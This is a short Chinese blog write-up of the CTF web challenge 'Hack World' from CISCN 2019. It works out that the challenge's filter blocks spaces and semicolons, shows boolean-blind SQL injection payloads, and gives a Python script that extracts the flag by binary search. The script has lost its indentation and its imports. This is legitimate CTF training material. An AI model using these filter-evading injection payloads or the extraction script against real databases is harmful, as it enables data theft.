[CISCN2019 华北赛区 Day2 Web1]Hack World

最新推荐文章于 2024-04-22 11:22:22 发布

WHU_Joe.

最新推荐文章于 2024-04-22 11:22:22 发布

阅读量410

点赞数 6

文章标签： java 算法开发语言 web安全

本文链接：https://blog.csdn.net/zzqzzq11/article/details/134718550

版权

这题很多关键词都不给。例如空格、;等。

很明显是整数型的注⼊，因此不需要‘来闭合，输⼊：

id=if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1)

输⼊id=if((ascii(substr((select(flag)from(flag)),1,1))=103),0,1)

因此可以使⽤布尔盲注了。

def getzzq(host): 
 ans=''
 for i in range(1,1000):
 low = 32
 high = 128
 mid = (low+high)//2
 while low < high:
 url= host 
 myobj = {'id': "1^(ascii(substr((select(flag)from(flag)),%d,1))<%d)^1"%(i,mid)}
 x = requests.post(url, data = myobj)
 if "Hello" in x.text:
 high = mid	 

 else:
 low = mid+1
 #print(res.text)
 mid=(low+high)//2
 if mid <= 32 or mid >= 127:
 break
 ans += chr(mid-1)
 print("ans:"+ans)
 sleep(1)